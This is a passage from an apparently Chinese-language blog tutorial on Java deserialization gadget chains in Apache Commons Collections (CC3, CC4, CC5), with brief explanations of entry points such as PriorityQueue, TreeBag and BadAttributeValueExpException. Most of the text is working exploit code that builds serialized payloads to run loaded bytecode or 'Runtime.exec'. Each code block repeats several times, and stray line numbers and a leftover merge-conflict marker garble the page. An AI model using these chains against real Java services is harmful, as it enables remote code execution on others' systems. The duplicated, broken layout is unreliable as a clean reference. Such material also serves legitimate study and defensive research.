InvocationHandler handler = (InvocationHandler) constructor.newInstance(Generated.class,lazyMap);
Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(),LazyMap.class.getInterfaces(),handler);
InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Generated.class,mapProxy);
//serialize and unserialize
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("cc3.bin"));
oos.writeObject(invocationHandler);
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("cc3.bin"));
ois.readObject();
}
}
```java
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.map.LazyMap;

import javax.annotation.Generated;
import javax.xml.transform.Templates;

public class cc3 {
public static void main(String[] args) throws Exception{
InputStream inputStream = cc3.class.getResourceAsStream("evilTemplate.class");
byte[] bytes = new byte[inputStream.available()];
inputStream.read(bytes);
// get TemplatesImpl like cc2
TemplatesImpl templates = new TemplatesImpl();
Field bytecode = templates.getClass().getDeclaredField("_bytecodes");
bytecode.setAccessible(true);
bytecode.set(templates,new byte[][]{bytes});
// _name must have value
Field name = templates.getClass().getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"Pazuris");

ChainedTransformer chain = new ChainedTransformer(new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})
});
// use AnnotationInvocationHandler and LazyMap like cc1
Map lazyMap = LazyMap.decorate(new HashMap(),chain);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = c.getDeclaredConstructors()[0];
constructor.setAccessible(true);
InvocationHandler handler = (InvocationHandler) constructor.newInstance(Generated.class,lazyMap);
Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(),LazyMap.class.getInterfaces(),handler);
InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Generated.class,mapProxy);
//serialize and unserialize
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("cc3.bin"));
oos.writeObject(invocationHandler);
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("cc3.bin"));
ois.readObject();
}
}

```java
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.map.LazyMap;

import javax.annotation.Generated;
import javax.xml.transform.Templates;

public class cc3 {
public static void main(String[] args) throws Exception{
InputStream inputStream = cc3.class.getResourceAsStream("evilTemplate.class");
byte[] bytes = new byte[inputStream.available()];
inputStream.read(bytes);
// get TemplatesImpl like cc2
TemplatesImpl templates = new TemplatesImpl();
Field bytecode = templates.getClass().getDeclaredField("_bytecodes");
bytecode.setAccessible(true);
bytecode.set(templates,new byte[][]{bytes});
// _name must have value
Field name = templates.getClass().getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"Pazuris");

ChainedTransformer chain = new ChainedTransformer(new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})
});
// use AnnotationInvocationHandler and LazyMap like cc1
Map lazyMap = LazyMap.decorate(new HashMap(),chain);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = c.getDeclaredConstructors()[0];
constructor.setAccessible(true);
InvocationHandler handler = (InvocationHandler) constructor.newInstance(Generated.class,lazyMap);
Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(),LazyMap.class.getInterfaces(),handler);
InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Generated.class,mapProxy);
//serialize and unserialize
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("cc3.bin"));
oos.writeObject(invocationHandler);
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("cc3.bin"));
ois.readObject();
}
}
```java
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.map.LazyMap;

import javax.annotation.Generated;
import javax.xml.transform.Templates;

public class cc3 {
public static void main(String[] args) throws Exception{
InputStream inputStream = cc3.class.getResourceAsStream("evilTemplate.class");
byte[] bytes = new byte[inputStream.available()];
inputStream.read(bytes);
// get TemplatesImpl like cc2
TemplatesImpl templates = new TemplatesImpl();
Field bytecode = templates.getClass().getDeclaredField("_bytecodes");
bytecode.setAccessible(true);
bytecode.set(templates,new byte[][]{bytes});
// _name must have value
Field name = templates.getClass().getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"Pazuris");

ChainedTransformer chain = new ChainedTransformer(new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})
});
// use AnnotationInvocationHandler and LazyMap like cc1
Map lazyMap = LazyMap.decorate(new HashMap(),chain);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = c.getDeclaredConstructors()[0];
constructor.setAccessible(true);
InvocationHandler handler = (InvocationHandler) constructor.newInstance(Generated.class,lazyMap);
Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(),LazyMap.class.getInterfaces(),handler);
InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Generated.class,mapProxy);
//serialize and unserialize
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("cc3.bin"));
oos.writeObject(invocationHandler);
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("cc3.bin"));
ois.readObject();
}
}


恶意类还是 CC2 那个,在编译成 class 的时候我遇到了个问题,由于我的 IDEA 是以 root 启动的,需要用 sudo javac 来编译 class,结果提示没有 javac?参考下面这篇文章解决:
https://blog.csdn.net/m0_46455711/article/details/107153870

Commons Collection 4

入口是 PriorityQueue ,然后利用 TransformingComparator 触发 ChainedTransformer,最后利用点依然是 TemplatesImpl(就和 CC2 一样,不一样仅仅在于中间换成了 CC3 的 TrAXFIlter 和 InstantiateTransformer),但是除此之外,也可以关心一下除了 PriorityQueue 还有没有其他可用的替代

TreeBag & TreeMap

TreeBag 是对 SortedBag 的一个标准实现。TreeBag 使用 TreeMap 来储存数据,并使用指定 Comparator 来进行排序。从而达到替代 PriorityQueue 的效果。

攻击构造

前面的知识点排列组合一下:

PriorityQueue

中间使用了 CC3 链中间的链子(TrAXFilter + InstantiateTransformer + TemplatesImpl):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
import java.io.*;

import java.lang.reflect.Field;
import java.util.PriorityQueue;


import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;


import javax.xml.transform.Templates;
public class CC4 {
public static void main(String[] args) throws Exception{
InputStream inputStream = CC4.class.getResourceAsStream("evil.class");
byte[] bytes = new byte[inputStream.available()];
inputStream.read(bytes);
// get TemplatesImpl like cc2
TemplatesImpl templates = new TemplatesImpl();
Field bytecode = templates.getClass().getDeclaredField("_bytecodes");
bytecode.setAccessible(true);
bytecode.set(templates,new byte[][]{bytes});
// _name must have value
Field name = templates.getClass().getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"Pazuris");

ChainedTransformer chain = new ChainedTransformer(new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})
});

TransformingComparator transformingComparator = new TransformingComparator(chain);
PriorityQueue<Object> priorityQueue = new PriorityQueue<>(2);
priorityQueue.add(1);
priorityQueue.add(2);
Field comparator = priorityQueue.getClass().getDeclaredField("comparator");
comparator.setAccessible(true);
comparator.set(priorityQueue,transformingComparator);
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("cc4.bin"));
oos.writeObject(priorityQueue);
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("cc4.bin"));
ois.readObject();
}
}
```java
import java.io.*;

import java.lang.reflect.Field;
import java.util.PriorityQueue;


import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;


import javax.xml.transform.Templates;
public class CC4 {
public static void main(String[] args) throws Exception{
InputStream inputStream = CC4.class.getResourceAsStream("evil.class");
byte[] bytes = new byte[inputStream.available()];
inputStream.read(bytes);
// get TemplatesImpl like cc2
TemplatesImpl templates = new TemplatesImpl();
Field bytecode = templates.getClass().getDeclaredField("_bytecodes");
bytecode.setAccessible(true);
bytecode.set(templates,new byte[][]{bytes});
// _name must have value
Field name = templates.getClass().getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"Pazuris");

ChainedTransformer chain = new ChainedTransformer(new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})
});

TransformingComparator transformingComparator = new TransformingComparator(chain);
PriorityQueue<Object> priorityQueue = new PriorityQueue<>(2);
priorityQueue.add(1);
priorityQueue.add(2);
Field comparator = priorityQueue.getClass().getDeclaredField("comparator");
comparator.setAccessible(true);
comparator.set(priorityQueue,transformingComparator);
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("cc4.bin"));
oos.writeObject(priorityQueue);
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("cc4.bin"));
ois.readObject();
}
}

```java
import java.io.*;

import java.lang.reflect.Field;
import java.util.PriorityQueue;


import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;


import javax.xml.transform.Templates;
public class CC4 {
public static void main(String[] args) throws Exception{
InputStream inputStream = CC4.class.getResourceAsStream("evil.class");
byte[] bytes = new byte[inputStream.available()];
inputStream.read(bytes);
// get TemplatesImpl like cc2
TemplatesImpl templates = new TemplatesImpl();
Field bytecode = templates.getClass().getDeclaredField("_bytecodes");
bytecode.setAccessible(true);
bytecode.set(templates,new byte[][]{bytes});
// _name must have value
Field name = templates.getClass().getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"Pazuris");

ChainedTransformer chain = new ChainedTransformer(new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})
});

TransformingComparator transformingComparator = new TransformingComparator(chain);
PriorityQueue<Object> priorityQueue = new PriorityQueue<>(2);
priorityQueue.add(1);
priorityQueue.add(2);
Field comparator = priorityQueue.getClass().getDeclaredField("comparator");
comparator.setAccessible(true);
comparator.set(priorityQueue,transformingComparator);
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("cc4.bin"));
oos.writeObject(priorityQueue);
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("cc4.bin"));
ois.readObject();
}
}
```java
import java.io.*;

import java.lang.reflect.Field;
import java.util.PriorityQueue;


import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;


import javax.xml.transform.Templates;
public class CC4 {
public static void main(String[] args) throws Exception{
InputStream inputStream = CC4.class.getResourceAsStream("evil.class");
byte[] bytes = new byte[inputStream.available()];
inputStream.read(bytes);
// get TemplatesImpl like cc2
TemplatesImpl templates = new TemplatesImpl();
Field bytecode = templates.getClass().getDeclaredField("_bytecodes");
bytecode.setAccessible(true);
bytecode.set(templates,new byte[][]{bytes});
// _name must have value
Field name = templates.getClass().getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"Pazuris");

ChainedTransformer chain = new ChainedTransformer(new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})
});

TransformingComparator transformingComparator = new TransformingComparator(chain);
PriorityQueue<Object> priorityQueue = new PriorityQueue<>(2);
priorityQueue.add(1);
priorityQueue.add(2);
Field comparator = priorityQueue.getClass().getDeclaredField("comparator");
comparator.setAccessible(true);
comparator.set(priorityQueue,transformingComparator);
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("cc4.bin"));
oos.writeObject(priorityQueue);
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("cc4.bin"));
ois.readObject();
}
}


TreeBag&TreeMap

中间使用了 CC2 任意类加载的中间链子(InvokerTransformer + TemplatesImpl):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
import java.io.*;

import java.lang.reflect.Field;
import java.util.PriorityQueue;


import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.bag.TreeBag;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;


import javax.xml.transform.Templates;
public class CC4 {
public static void main(String[] args) throws Exception{
InputStream inputStream = CC4.class.getResourceAsStream("evil.class");
byte[] bytes = new byte[inputStream.available()];
inputStream.read(bytes);
// get TemplatesImpl like cc2
TemplatesImpl templates = new TemplatesImpl();
Field bytecode = templates.getClass().getDeclaredField("_bytecodes");
bytecode.setAccessible(true);
bytecode.set(templates,new byte[][]{bytes});
// _name must have value
Field name = templates.getClass().getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"Pazuris");

Transformer transformer = new InvokerTransformer("toString", new Class[]{}, new Object[]{});
TransformingComparator transformingComparator = new TransformingComparator(transformer);

TreeBag<Object> tree = new TreeBag(transformingComparator);
tree.add(templates);
// change to newTransformer
Field field = InvokerTransformer.class.getDeclaredField("iMethodName");
field.setAccessible(true);
field.set(transformer, "newTransformer");
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("cc4.bin"));
oos.writeObject(tree);
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("cc4.bin"));
ois.readObject();
}
}

```java
import java.io.*;

import java.lang.reflect.Field;
import java.util.PriorityQueue;


import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.bag.TreeBag;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;


import javax.xml.transform.Templates;
public class CC4 {
public static void main(String[] args) throws Exception{
InputStream inputStream = CC4.class.getResourceAsStream("evil.class");
byte[] bytes = new byte[inputStream.available()];
inputStream.read(bytes);
// get TemplatesImpl like cc2
TemplatesImpl templates = new TemplatesImpl();
Field bytecode = templates.getClass().getDeclaredField("_bytecodes");
bytecode.setAccessible(true);
bytecode.set(templates,new byte[][]{bytes});
// _name must have value
Field name = templates.getClass().getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"Pazuris");

Transformer transformer = new InvokerTransformer("toString", new Class[]{}, new Object[]{});
TransformingComparator transformingComparator = new TransformingComparator(transformer);

TreeBag<Object> tree = new TreeBag(transformingComparator);
tree.add(templates);
// change to newTransformer
Field field = InvokerTransformer.class.getDeclaredField("iMethodName");
field.setAccessible(true);
field.set(transformer, "newTransformer");
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("cc4.bin"));
oos.writeObject(tree);
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("cc4.bin"));
ois.readObject();
}
}


```java
import java.io.*;

import java.lang.reflect.Field;
import java.util.PriorityQueue;


import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.bag.TreeBag;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;


import javax.xml.transform.Templates;
public class CC4 {
public static void main(String[] args) throws Exception{
InputStream inputStream = CC4.class.getResourceAsStream("evil.class");
byte[] bytes = new byte[inputStream.available()];
inputStream.read(bytes);
// get TemplatesImpl like cc2
TemplatesImpl templates = new TemplatesImpl();
Field bytecode = templates.getClass().getDeclaredField("_bytecodes");
bytecode.setAccessible(true);
bytecode.set(templates,new byte[][]{bytes});
// _name must have value
Field name = templates.getClass().getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"Pazuris");

Transformer transformer = new InvokerTransformer("toString", new Class[]{}, new Object[]{});
TransformingComparator transformingComparator = new TransformingComparator(transformer);

TreeBag<Object> tree = new TreeBag(transformingComparator);
tree.add(templates);
// change to newTransformer
Field field = InvokerTransformer.class.getDeclaredField("iMethodName");
field.setAccessible(true);
field.set(transformer, "newTransformer");
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("cc4.bin"));
oos.writeObject(tree);
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("cc4.bin"));
ois.readObject();
}
}

```java
import java.io.*;

import java.lang.reflect.Field;
import java.util.PriorityQueue;


import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.bag.TreeBag;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;


import javax.xml.transform.Templates;
public class CC4 {
public static void main(String[] args) throws Exception{
InputStream inputStream = CC4.class.getResourceAsStream("evil.class");
byte[] bytes = new byte[inputStream.available()];
inputStream.read(bytes);
// get TemplatesImpl like cc2
TemplatesImpl templates = new TemplatesImpl();
Field bytecode = templates.getClass().getDeclaredField("_bytecodes");
bytecode.setAccessible(true);
bytecode.set(templates,new byte[][]{bytes});
// _name must have value
Field name = templates.getClass().getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"Pazuris");

Transformer transformer = new InvokerTransformer("toString", new Class[]{}, new Object[]{});
TransformingComparator transformingComparator = new TransformingComparator(transformer);

TreeBag<Object> tree = new TreeBag(transformingComparator);
tree.add(templates);
// change to newTransformer
Field field = InvokerTransformer.class.getDeclaredField("iMethodName");
field.setAccessible(true);
field.set(transformer, "newTransformer");
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("cc4.bin"));
oos.writeObject(tree);
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("cc4.bin"));
ois.readObject();
}
}



Commons Collections 5

由于 CC1 原来的入口类 AnnotationInvocationHandler 在 JDK1.8 之后被修复了,没法再用了,需要找到替代类。 CC5 依旧采用了 LazyMap 加 ChainedTransformer 的触发模式,但是使用了别的方式来触发 LazyMap 的 get 。

前置知识

TiedMapEntry

org.apache.commons.collections.keyvalue.TiedMapEntry 是一个 Map.Entry 的实现类,用来使一个 Map.Entry 对象拥有在底层修改 map 的功能。
TiedMapEntry 有一个成员属性 Map (就是底层 map),TiedMapEntry 的 getValue 方法会调用该 map 的 get 方法。

下一步需要找谁调用了 getValue 方法。发现 equals,hashCode 和 toString 方法都能调用,hashCode 可以想到 URLDNS 里面的 hashMap,就是 CC6(你想到的别人早就想到了),但是这个 CC5 链用的是 toString 方法。找找哪个类的 readObject 方法调用 toString 。
<<<<<<< HEAD

image.png

406171c22fb30a971c9894c9dd387c638582b7ae

BadAttributeValueExpException

于是找到了 javax.management.BadAttributeValueExpException 这个类的 readObject 方法。

满足完条件之后就会调用 valObj 的 toString 方法,攻击构造完成。

攻击构造

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.management.BadAttributeValueExpException;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class CC5 {
public static void main(String[] args) throws Exception{
// 和 CC1 一样的命令调用方式,当然也可以用 TemplatesImpl
ChainedTransformer chain = new ChainedTransformer(new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
});

// 创建 LazyMap 并引入 TiedMapEntry
Map lazyMap = LazyMap.decorate(new HashMap(), chain);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap,"pazuris");
// 通过反射改 val ,防止直接触发 toString 。
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException("val");
Field val = badAttributeValueExpException.getClass().getDeclaredField("val");
val.setAccessible(true);
val.set(badAttributeValueExpException,tiedMapEntry);
// serialize and unserialize
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("cc5.bin"));
oos.writeObject(badAttributeValueExpException);
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("cc5.bin"));
ois.readObject();
}
}
```java
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.management.BadAttributeValueExpException;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class CC5 {
public static void main(String[] args) throws Exception{
// 和 CC1 一样的命令调用方式,当然也可以用 TemplatesImpl
ChainedTransformer chain = new ChainedTransformer(new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
});

// 创建 LazyMap 并引入 TiedMapEntry
Map lazyMap = LazyMap.decorate(new HashMap(), chain);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap,"pazuris");
// 通过反射改 val ,防止直接触发 toString 。
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException("val");
Field val = badAttributeValueExpException.getClass().getDeclaredField("val");
val.setAccessible(true);
val.set(badAttributeValueExpException,tiedMapEntry);
// serialize and unserialize
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("cc5.bin"));
oos.writeObject(badAttributeValueExpException);
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("cc5.bin"));
ois.readObject();
}
}

```java
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.management.BadAttributeValueExpException;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class CC5 {
public static void main(String[] args) throws Exception{
// 和 CC1 一样的命令调用方式,当然也可以用 TemplatesImpl
ChainedTransformer chain = new ChainedTransformer(new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
});

// 创建 LazyMap 并引入 TiedMapEntry
Map lazyMap = LazyMap.decorate(new HashMap(), chain);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap,"pazuris");
// 通过反射改 val ,防止直接触发 toString 。
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException("val");
Field val = badAttributeValueExpException.getClass().getDeclaredField("val");
val.setAccessible(true);
val.set(badAttributeValueExpException,tiedMapEntry);
// serialize and unserialize
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("cc5.bin"));
oos.writeObject(badAttributeValueExpException);
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("cc5.bin"));
ois.readObject();
}
}
```java
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.management.BadAttributeValueExpException;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class CC5 {
public static void main(String[] args) throws Exception{
// 和 CC1 一样的命令调用方式,当然也可以用 TemplatesImpl
ChainedTransformer chain = new ChainedTransformer(new Transformer[]{
